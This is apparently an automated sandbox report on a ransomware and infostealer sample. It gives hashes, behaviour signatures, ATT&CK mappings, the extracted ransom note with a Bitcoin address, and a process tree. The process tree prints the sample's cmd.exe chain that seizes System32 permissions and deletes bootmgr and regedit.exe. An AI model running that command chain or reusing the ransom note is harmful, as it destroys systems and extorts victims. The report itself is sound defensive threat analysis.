369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2024, 02:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
Size 3.1MB
Sample241106-cwxc2sslhv
SHA256 369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412
MD5 6a85d0ba4d1db63d390b7a071d60e0ef
SHA1 79a32ee067e19b43bc3f29fde3a3ff95986f8e2e
SHA512 16a97e39d6a373c3eb7140c93fd61afd12a7569d262ee67a47ac548cffc5735379dee85ba68dabb9a0aa768e5505fe6a451fd08aae68006aa1962b2861c8a6ce
SSDEEP 49152:uZik4UvxXDFSuvXKWC9BKtKkd1UOe65qeVyODIaihosmrcvCM97Wd84T3D:YGuDppmT+Be6bymIhoBcaY6d84jD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery evasion exploit ransomware spyware stealer themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\HOW-TO-DECRYPT.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe

Emails

[email protected]

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe

Renames multiple (481) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
2892	takeown.exe
4828	icacls.exe
2100	takeown.exe
3276	takeown.exe
3120	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3120	icacls.exe
2892	takeown.exe
4828	icacls.exe
2100	takeown.exe
3276	takeown.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/3940-11-0x0000000000D50000-0x0000000001580000-memory.dmp	themida
behavioral2/memory/3940-12-0x0000000000D50000-0x0000000001580000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3940	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
Token: SeDebugPrivilege	3940	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
Token: SeTakeOwnershipPrivilege	3276	takeown.exe
Token: SeTakeOwnershipPrivilege	2892	takeown.exe
Token: SeTakeOwnershipPrivilege	2100	takeown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3940 wrote to memory of 2404	3940	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe	103
PID 3940 wrote to memory of 2404	3940	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe	103
PID 3940 wrote to memory of 2404	3940	369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe	103
PID 2404 wrote to memory of 3276	2404	cmd.exe	105
PID 2404 wrote to memory of 3276	2404	cmd.exe	105
PID 2404 wrote to memory of 3276	2404	cmd.exe	105
PID 2404 wrote to memory of 3120	2404	cmd.exe	106
PID 2404 wrote to memory of 3120	2404	cmd.exe	106
PID 2404 wrote to memory of 3120	2404	cmd.exe	106
PID 2404 wrote to memory of 2892	2404	cmd.exe	107
PID 2404 wrote to memory of 2892	2404	cmd.exe	107
PID 2404 wrote to memory of 2892	2404	cmd.exe	107
PID 2404 wrote to memory of 4828	2404	cmd.exe	108
PID 2404 wrote to memory of 4828	2404	cmd.exe	108
PID 2404 wrote to memory of 4828	2404	cmd.exe	108
PID 2404 wrote to memory of 2100	2404	cmd.exe	109
PID 2404 wrote to memory of 2100	2404	cmd.exe	109
PID 2404 wrote to memory of 2100	2404	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe
"C:\Users\Admin\AppData\Local\Temp\369a4f163bf5552d238f52607c828c105645d29d6f2446363cdfec118f9ea412.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && Exit
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3276
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:3120
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\drivers
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\drivers /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4828
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\LogonUI.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HOW-TO-DECRYPT.TXT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\HOW-TO-DECRYPT.TXT
Size 1KB
SHA256 be548e310dab08ae249c6d20ba64034d4f3568365d4d31e1f1262abb6c3f33f2
MD5 f2bbb85d6112bd7360a4ddbc23ea9a8b
SHA1 683eb7b2b0a5904337f204f71d25c02b9cc5daba
SHA512 a2bae503e9d18fc9bf1e981d2ec074f389a11e51e385f8701a14bc580c95b6c5f907baf9c7bf55e610d1582951fe7d93121b154fe532df6699389a77fcf6b172
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log
Size 16B
SHA256 16ef853f2adc432c54ad75d0db8169be845065f65b6c5136eaafdcbe698ac1e6
MD5 2caa6f3c95f6ec6bba5b54344938efa0
SHA1 2d5637f50e858fbaaeec7853d944dd3c3e91ec39
SHA512 4141715b1d3a28a5fae1e3a1613cca697d07e24808da2b679abc5235d5a181799f35a0ce090ead8dcc133c3b7b7435b9805a3b9bc5eaca4f7167dab7c93d3e00
MD5 SHA1 SHA512

Submit Download

winword.exe_Rules.xml

Path C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml
Size 332KB
SHA256 d883bdee08b17e451d3be046fd7cd7b9c816c37f72fa123ca1c13c81e9fcd5ac
MD5 89b6590fcb9080db24875fa671b516ca
SHA1 20e472ccdba84d504e087418e703073f44c4f2d9
SHA512 3eea6d9796596d9d491b2fa1de794c33bda6447e11c611d769c32da6bd62f25d4b7b13748e70a601ae70f45eb36463d7080e16fcf80571e693109d9395345ee0
SSDEEP 6144:dTsALuBOK43awYs5zx2PzyzbPFOXCsN2fAXa56HpvGDVkcr7/:dTsALuBV43gbQOXCsM4+6JvGRkW/
MD5 SHA1 SHA512 SSDEEP

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
Size 8KB
SHA256 a05288aa086504a20d2a3177854f8eb158778756ebc24dcfca266c52fa8d5a17
MD5 5090259c42fc6263bc00e952846280e8
SHA1 9bf53e854027c9dec3b25ff1164e88872c71f66e
SHA512 8b44fb8fade639c6b4d4b1f8747a8176652700a16b38e43f5f74403c2af0882fb6095986f8e4d94f3d5a242e8d49ed99a03361c01469c8c6a7bf7a7c3527ec7f
SSDEEP 96:1GjH9ZpYoUDcZPHxpNPFAB0393JpcNw6fgjK75H75ilIW9eLR7V2ZetwjXiAwva+:IjHOQFMB039kNvH7Mlt9eLTv2soFHe/
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3940-14-0x0000000005710000-0x00000000057A2000-memory.dmp

Download

memory/3940-15-0x0000000005690000-0x000000000569A000-memory.dmp

Download

memory/3940-7-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-5-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-4-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-11-0x0000000000D50000-0x0000000001580000-memory.dmp

Download

memory/3940-12-0x0000000000D50000-0x0000000001580000-memory.dmp

Download

memory/3940-13-0x0000000005CC0000-0x0000000006264000-memory.dmp

Download

memory/3940-0-0x0000000000D50000-0x0000000001580000-memory.dmp

Download

memory/3940-8-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-6-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-79-0x0000000000D50000-0x0000000001580000-memory.dmp

Download

memory/3940-114-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-113-0x0000000075AE0000-0x0000000075AE1000-memory.dmp

Download

memory/3940-193-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-230-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-340-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-3-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-2-0x0000000075AC0000-0x0000000075BB0000-memory.dmp

Download

memory/3940-1-0x0000000075AE0000-0x0000000075AE1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads